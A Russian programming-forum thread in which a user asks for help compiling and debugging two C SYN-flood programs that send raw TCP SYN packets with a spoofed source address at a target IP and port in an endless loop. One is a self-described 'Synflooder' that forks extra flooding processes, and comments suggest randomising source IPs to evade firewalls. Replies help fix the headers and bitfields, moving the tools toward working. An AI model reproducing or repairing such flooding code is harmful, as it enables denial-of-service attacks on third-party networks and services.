Форум программистов, компьютерный форум, киберфорум
C/С++ под Linux
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.95/76: Рейтинг темы: голосов - 76, средняя оценка - 4.95
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10

Ошибка при компиляции "Incompatible implicit declaration of built-in function ‘exit’"

19.10.2010, 10:18. Показов 15613. Ответов 18
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
ОС Linux Home 2.6.25-std-def-alt8.M41.4 #1 SMP Sat Dec 6 14:42:12 MSK 2008 i686 GNU/Linux
пробую откопмелировать файлик:
Code
1
2
3
4
5
6
# gcc 1.c -o 11
1.c: В функции ‘main’
1.c:86: предупреждение: incompatible implicit declaration of built-in function ‘exit’
1.c:98: предупреждение: incompatible implicit declaration of built-in function ‘memset’
1.c:131: предупреждение: неявное приведение большого целого значения к беззнаковому типу
1.c:151: предупреждение: incompatible implicit declaration of built-in function ‘exit’
возможно я что то недопонимаю.... подскажите в чем может быть проблема?
что то не могу понять... вроде прицеплял файлик исходника....
ладно... так добавлю:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
    #include <unistd.h>
    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    
    /* TCP flags, can define something like this if needed */
    /* TCP флаги, можно определить что-то подобное в случае необходимости
    #define URG 32
    #define ACK 16
    #define PSH 8
    #define RST 4
    #define SYN 2
    #define FIN 1
    */
     
    struct ipheader {
     unsigned char      iph_ihl:5, /* Little-endian */
                        iph_ver:4;  /*  Little-байтов */
     unsigned char      iph_tos;
     unsigned short int iph_len;
     unsigned short int iph_ident;
     unsigned char      iph_flags;
     unsigned short int iph_offset;
     unsigned char      iph_ttl;
     unsigned char      iph_protocol;
     unsigned short int iph_chksum;
     unsigned int       iph_sourceip;
     unsigned int       iph_destip;
    };
 
    /* Structure of the TCP header */
    /* Структура заголовков TCP */
    struct tcpheader {
     unsigned short int   tcph_srcport;
     unsigned short int   tcph_destport;
     unsigned int             tcph_seqnum;
     unsigned int             tcph_acknum;
     unsigned char          tcph_reserved:4, tcph_offset:4;
     unsigned int
           tcp_res1:4,       /*little-endian*/
           tcph_hlen:4,      /*length of tcp header in 32-bit words*/
           tcph_fin:1,       /*Finish flag "fin"*/
           tcph_syn:1,       /*Synchronize sequence numbers to start a connection*/
           tcph_rst:1,       /*Reset flag */
           tcph_psh:1,       /*Push, sends data to the application*/
           tcph_ack:1,       /*acknowledge*/
           tcph_urg:1,       /*urgent pointer*/
           tcph_res2:2;
     unsigned short int   tcph_win;
     unsigned short int   tcph_chksum;
     unsigned short int   tcph_urgptr;
    };
     
    /* function for header checksums */
    /* Функция заголовка сумм */
    unsigned short csum (unsigned short *buf, int nwords)
    {
      unsigned long sum;
      for (sum = 0; nwords > 0; nwords--)
        sum += *buf++;
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      return (unsigned short)(~sum);
    }
     
    int main(int argc, char *argv[ ])
    {
      /* open raw socket */
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
      /* this buffer will contain ip header, tcp header, and payload we'll
         point an ip header structure at its beginning, and a tcp header
         structure after that to write the header values into it */
/* этот буфер будет содержать IP-заголовка, TCP заголовка и полезной нагрузки мы
         точки структуры IP заголовка в его начале, и TCP заголовка
         структуры после этого написать заголовок значения в нее */
    char datagram[4096];
    struct ipheader *iph = (struct ipheader *) datagram;
      struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
      struct sockaddr_in sin;
     
      if(argc != 3)
      {
           printf("Invalid parameters!\n");
           printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
           exit(-1);
      }
     
      unsigned int floodport = atoi(argv[2]);
    /* the sockaddr_in structure containing the destination
     address is used in sendto() to determine the datagrams path */
    sin.sin_family = AF_INET;
    /* you byte-order >1byte header values to network byte
     order (not needed on big-endian machines). */
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(argv[1]);
       /* zero out the buffer */
       memset(datagram, 0, 4096);
       /* we'll now fill in the ip/tcp header values */
       iph->iph_ihl = 5;
       iph->iph_ver = 4;
    iph->iph_tos = 0;
    /* just datagram, no payload. You can add payload as needed */
    iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
    /* the value doesn't matter here */
      iph->iph_ident = htonl (54321);
      iph->iph_offset = 0;
      iph->iph_ttl = 255;
    iph->iph_protocol = 6;  // upper layer protocol, TCP
      /* set it to 0 before computing the actual checksum later */
    iph->iph_chksum = 0;
    
    /* SYN's can be blindly spoofed.  Better to create randomly
       generated IP to avoid blocking by firewall */
    iph->iph_sourceip = inet_addr ("192.168.100.199");
    /* Better if we can create a range of destination IP,
       so we can flood all of them at the same time */
    iph->iph_destip = sin.sin_addr.s_addr;
    /* arbitrary port for source */
      tcph->tcph_srcport = htons (5678);
    tcph->tcph_destport = htons (floodport);
    /* in a SYN packet, the sequence is a random */
    tcph->tcph_seqnum = random();
    /* number, and the ACK sequence is 0 in the 1st packet */
      tcph->tcph_acknum = 0;
      tcph->tcph_res2 = 0;
      /* first and only tcp segment */
    tcph->tcph_offset = 0;
    /* initial connection request, I failed to use TH_FIN,
       so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
    tcph->tcph_syn = 0x02;
    /* maximum allowed window size */
    tcph->tcph_win = htonl (65535);
      /* if you set a checksum to zero, your kernel's IP stack should
         fill in the correct checksum during transmission. */
      tcph->tcph_chksum = 0;
      tcph-> tcph_urgptr = 0;
     
      iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);
     
    /* a IP_HDRINCL call, to make sure that the kernel knows
       the header is included in the data, and doesn't insert
       its own header into the packet before our data */
    /* Some dummy */
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
    {
    printf("Error: setsockopt() - Cannot set HDRINCL!\n");
    /* If something wrong, just exit */
    exit(-1);
    }
    else
      printf("OK, using your own header!\n");
     
    /* You have to manually stop this program */
    while(1)
    {
      if(sendto(s,                       /* our socket */
               datagram,                 /* the buffer containing headers and data */
               iph->iph_len,             /* total length of our datagram */
               0,                        /* routing flags, normally always 0 */
               (struct sockaddr *) &sin, /* socket addr, just like in */
               sizeof (sin)) < 0)        /* a normal send() */
         printf("sendto() error!!!.\n");
      else
        printf("Flooding %s at %u...\n", argv[1], floodport);
     
    }
      return 0;
    }
еще заметил интересное что файлик 11 на выходе есть и при запуске что то даже отправляется.... но снифер распознает протакол как ip6 а должен как ip4
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
19.10.2010, 10:18
Ответы с готовыми решениями:

Как исправить предупреждение implicit declaration of function и incompatible integer to pointer conversion assigni
Необходимо было реализовать функцию int_vector_copy, результат который был бы указатель на копию вектора v. NULL, если не удалось выделить...

Ошибка: implicit declaration of function 'strcmp'
while (p != NULL) { // Условие окончания обхода очереди. if (strcmp(*street, p-&gt;adress) == 0) { // Если улицы совпали. ...

implicit declaration of function
Keil подсвечивает функцию warning: implicit declaration of function прототип указан в отдельном header файле, который я включил Но...

18
 Аватар для oxotnik
1665 / 1134 / 80
Регистрация: 21.08.2008
Сообщений: 4,734
Записей в блоге: 1
19.10.2010, 10:27
а где код?
ЗЫ: компИляция
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.10.2010, 10:29  [ТС]
исправился...
0
 Аватар для oxotnik
1665 / 1134 / 80
Регистрация: 21.08.2008
Сообщений: 4,734
Записей в блоге: 1
19.10.2010, 10:48
exit определена в stdlib.h
memset - в string.h
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.10.2010, 10:59  [ТС]
действительно так. но осталась еще одна ошибка:
Code
1
2
3
# gcc 1.c -o 11
1.c: В функции ‘main’
1.c:133: предупреждение: неявное приведение большого целого значения к беззнаковому типу
строка 133 после добавления 2 строчек include вроде как:
Code
1
tcph->tcph_syn = 0x02;
а здесь в чем может быть подвох?
0
 Аватар для oxotnik
1665 / 1134 / 80
Регистрация: 21.08.2008
Сообщений: 4,734
Записей в блоге: 1
19.10.2010, 11:09
это не ошибка, а предупреждение... в данном случае можно забить на него
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.10.2010, 11:32  [ТС]
а как в линуксе производится отладка кода?
0
 Аватар для oxotnik
1665 / 1134 / 80
Регистрация: 21.08.2008
Сообщений: 4,734
Записей в блоге: 1
19.10.2010, 11:37
Цитата Сообщение от exec Посмотреть сообщение
а как в линуксе производится отладка кода?
поставь себе какую нибудь IDE, Code::Blocks хотябы, а лучше NetBeans/Eclipse/QtCreator, поставь в систему gdb - отладчик, и отлаживай на здоровье. Вроде тут (или в интернетах) даже где то была статья как gdb юзать.
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.10.2010, 14:06  [ТС]
Code
1
2
3
0015f2e942a800:17:95:27:0a:370800450000307d79400080065de1c0a8394dc0a864cf06fc001520e376f6000000007002ffffc81800000204056401010101
0015f2e942a800:1d:60:48:b4:c70800050400303000000000002548ff06810cc0a864c7c0a864cf000000000000000000000000000000000000000000000000
---------------------------------^
певый пакет правильный, второй мы собираем скриптиком.
вот сдесь ставится версия протакола 4, а она кудато не туда идет... что то немогу сообразить по чему..

Добавлено через 1 час 9 минут
нашел другой скриптик:
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
        if(argc < 3) {
                printf("Usage: %s <dst> <port> <src>\n", argv[0]);
                printf("Synflooder v2.0 was written by [email]shaunige@yahoo.co.uk[/email]\n");
                exit(-1);
        }
 
        int sock;
        int on = 1;
        char packet[4096]; /* Datagram. */
        struct sockaddr_in dest;
        struct iphdr *ip = (struct iphdr *) packet;
        struct tcphdr *tcp = (struct tcphdr *) packet + sizeof(struct iphdr);
        struct hostent *he;
        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve hostname!\n");
                exit(-1);
        }
 
        if((sock = socket (AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) {
                printf("Socket failed!\n");
                printf("Must be root to make raw socket.\n");
                exit(-1);
        }
        dest.sin_family = AF_INET;
        dest.sin_port = htons(atoi(argv[2]));
        dest.sin_addr = *((struct in_addr *)he->h_addr);
        memset(packet, 0, 4096); // Zero out packet.
 
        /* We'll fill in the header outselves. */
        if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) {
                perror("setsockopt");
                exit(1);
        }
        // Fill in IP headers.
        ip->ihl = 5;
        ip->version = 4;
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
        ip->id = htons(1337);
        ip->saddr = inet_ntoa(atoi(argv[3]));
        ip->daddr = inet_ntoa(dest.sin_addr);
        ip->ttl = 255;
        ip->protocol = 6;
        ip->check = 0;
        ip->tos = 0;
        ip->frag_off = 0;
 
        // Fill in TCP headers.
        tcp->source = htons(1337);
        tcp->dest = htons(atoi(argv[2]));
        tcp->seq = htons(random());
        tcp->ack = 0;
        tcp->syn = 1;
        tcp->window = htons(65535);
        tcp->check = 0;
        tcp->doff = 5;
        tcp->rst = 0;
        tcp->psh = 0;
        tcp->fin = 0;
        tcp->urg = 0;
        tcp->ack_seq = htons(0);
        printf("Syn flooding: %s!\n", argv[1]);
        /* Insert some more fork()'s in here, if you want. */
        fork();
        fork();
        while(1) {
        sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr));
        }
        return(0);
}
но тут другой глюк... почемуто заголовок tcp не добавляется... просто нули..
0
4866 / 3288 / 468
Регистрация: 10.12.2008
Сообщений: 10,570
20.10.2010, 05:24
C
1
tcph_syn:1
туда можно записать только 0 или 1
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
20.10.2010, 09:50  [ТС]
логично, это флаги. но они все и в том числе tcph_syn:1 стоят в ноль по перехваченному пакету. а этого быть не должно... как минимум флаг syn должен быть = 1. поэтому есть предположение, что как то неудачно подставляется заголовок tcp в структуру..
0
4866 / 3288 / 468
Регистрация: 10.12.2008
Сообщений: 10,570
20.10.2010, 11:28
C
1
tcph->tcph_syn = 0x02;
это 2

Добавлено через 3 минуты
2 в двоичной системе равно 10, 10 - это два бита
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
20.10.2010, 16:24  [ТС]
да... в первом скрипте. исправил... разници ни какой.
0
4866 / 3288 / 468
Регистрация: 10.12.2008
Сообщений: 10,570
21.10.2010, 03:08
duplicate
0
4866 / 3288 / 468
Регистрация: 10.12.2008
Сообщений: 10,570
21.10.2010, 03:09
Code
1
2
3
4
5
1.c: В функции ‘main’
1.c:86: предупреждение: incompatible implicit declaration of built-in function ‘exit’
1.c:98: предупреждение: incompatible implicit declaration of built-in function ‘memset’
1.c:131: предупреждение: неявное приведение большого целого значения к беззнаковому типу
1.c:151: предупреждение: incompatible implicit declaration of built-in function ‘exit’
Code
1
1.c:86: предупреждение: incompatible implicit declaration of built-in function ‘exit’
C
1
#include <stdlib.h>
Code
1
1.c:98: предупреждение: incompatible implicit declaration of built-in function ‘memset’
C
1
#include <string.h>
Code
1
1.c:131: предупреждение: неявное приведение большого целого значения к беззнаковому типу
C
1
tcph->tcph_syn = 1;
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
21.10.2010, 12:57  [ТС]
да, все это исправлено...
у первого скрипта, почемуто не в том месте проставляется версия протакола. см пост выше.
у второго скрипта не добавляется структура tcp-> со всеми флагами...

Добавлено через 31 минуту
установил кстати Code::Blocks, Eclipse, gdb но что то как то не разберусь как этим всем пользоваться...
приведу пример.
борланд билдер с ++ 6, там есть такая фишка как дебаг, устанавливаешь точки останова и в перед пошагово..
понятно что есть более низкий уровень со стеками и регистрами процессора... но это уже ассемблер... хотелось бы так низко не опускаться...

Добавлено через 5 минут
немогу понять зачем нужны все эти навороченные программы... если толлько для того что бы набрать текс, так у меня есть обычный kwriter...
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.01.2011, 13:00  [ТС]
решил вернуться к старой теме..
есть часть кода
C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
    struct ipheader {
     unsigned char      iph_ihl:5, /* Little-endian */
                        iph_ver:4;  /*  Little-байтов */
     unsigned char      iph_tos;
     unsigned short int iph_len;
     unsigned short int iph_ident;
     unsigned char      iph_flags;
     unsigned short int iph_offset;
     unsigned char      iph_ttl;
     unsigned char      iph_protocol;
     unsigned short int iph_chksum;
     unsigned int       iph_sourceip;
     unsigned int       iph_destip;
    };
в результат его выполнения начинает формироваться следующая последовательность:
05 04 00
а они должны так формироваться
45 00 00
как это подправить?
0
 Аватар для taras atavin
4226 / 1796 / 211
Регистрация: 24.11.2009
Сообщений: 27,562
19.01.2011, 13:16
Это не ошибки, а сообщения о потенциальной возможности потерять старшие разряды при преобразованиях. Если тупо понизить разрядность, то при тех значениях, при которых могли потеряться разряды, будет переполнение типа уже при присваивании. А если поставить явное преобразование типа, то будут просто подавлены сообщения.
0
0 / 0 / 0
Регистрация: 19.10.2010
Сообщений: 10
19.01.2011, 14:11  [ТС]
не совсем понял...
мне кажется что проблема втом что вместо того чт бы 4 и 5 собрать в один байт,
информация разбивается на два байти, при чем записывается она в обратном порядке младший разряд, старший. что собственно на лицо.
и возникает это или по причине типа переменной, или по причине синтаксиса, это касается знака запятой.
как эту проблему победить?

Добавлено через 27 минут
или проблема тут кроется?
Code
1
2
iph->iph_ihl = 5;
iph->iph_ver = 4;
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
19.01.2011, 14:11
Помогаю со студенческими работами здесь

Ошибка: "Implicit declaration of function 'abs' is invalid in C99"
#include &lt;stdio.h&gt; #include &lt;math.h&gt; main() { int x,y,c; printf(&quot;Input x y :&quot;); scanf(&quot;%d %d&quot;, &amp;x, &amp;y); ...

Implicit declaration of function is invalid in C99
implicit declaration of function 'GetInt' is invalid in C99 вот код #include &lt;stdio.h&gt; int main (void) { int m ; {...

Ошибка "implicit declaration of function"
Qt Creator выдает ошибку: implicit declaration of function 'gotoxt' implicit declaration of function 'textattr' implicit declaration...

Ошибка при компиляции redeclaration of C++ built-in type 'wchar_t' [-fpermissive]?
Подключил glut к codeblock при компиляция выдает redeclaration of C++ built-in type 'wchar_t' Как это можно исправить? Код программы ...

Ошибка Function no IMPLICIT type
Всем привет, пишу программу, в которой есть подпрограмма, в которой вычисляется произведение вектора на матрицу, но у меня возникла ошибка:...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
19
Ответ Создать тему
Новые блоги и статьи
Философия технологии
iceja 01.02.2026
На мой взгляд у человека в технических проектах остается роль генерального директора. Все остальное нейронки делают уже лучше человека. Они не могут нести предпринимательские риски, не могут. . .
SDL3 для Web (WebAssembly): Вывод текста со шрифтом TTF с помощью SDL3_ttf
8Observer8 01.02.2026
Содержание блога В этой пошаговой инструкции создадим с нуля веб-приложение, которое выводит текст в окне браузера. Запустим на Android на локальном сервере. Загрузим Release на бесплатный. . .
SDL3 для Web (WebAssembly): Сборка C/C++ проекта из консоли
8Observer8 30.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
SDL3 для Web (WebAssembly): Установка Emscripten SDK (emsdk) и CMake для сборки C и C++ приложений в Wasm
8Observer8 30.01.2026
Содержание блога Для того чтобы скачать Emscripten SDK (emsdk) необходимо сначало скачать и уставить Git: Install for Windows. Следуйте стандартной процедуре установки Git через установщик. . . .
SDL3 для Android: Подключение Box2D v3, физика и отрисовка коллайдеров
8Observer8 29.01.2026
Содержание блога Box2D - это библиотека для 2D физики для анимаций и игр. С её помощью можно определять были ли коллизии между конкретными объектами. Версия v3 была полностью переписана на Си, в. . .
Инструменты COM: Сохранение данный из VARIANT в файл и загрузка из файла в VARIANT
bedvit 28.01.2026
Сохранение базовых типов COM и массивов (одномерных или двухмерных) любой вложенности (деревья) в файл, с возможностью выбора алгоритмов сжатия и шифрования. Часть библиотеки BedvitCOM Использованы. . .
SDL3 для Android: Загрузка PNG с альфа-каналом с помощью SDL_LoadPNG (без SDL3_image)
8Observer8 28.01.2026
Содержание блога SDL3 имеет собственные средства для загрузки и отображения PNG-файлов с альфа-каналом и базовой работы с ними. В этой инструкции используется функция SDL_LoadPNG(), которая. . .
SDL3 для Android: Загрузка PNG с альфа-каналом с помощью SDL3_image
8Observer8 27.01.2026
Содержание блога SDL3_image - это библиотека для загрузки и работы с изображениями. Эта пошаговая инструкция покажет, как загрузить и вывести на экран смартфона картинку с альфа-каналом, то есть с. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru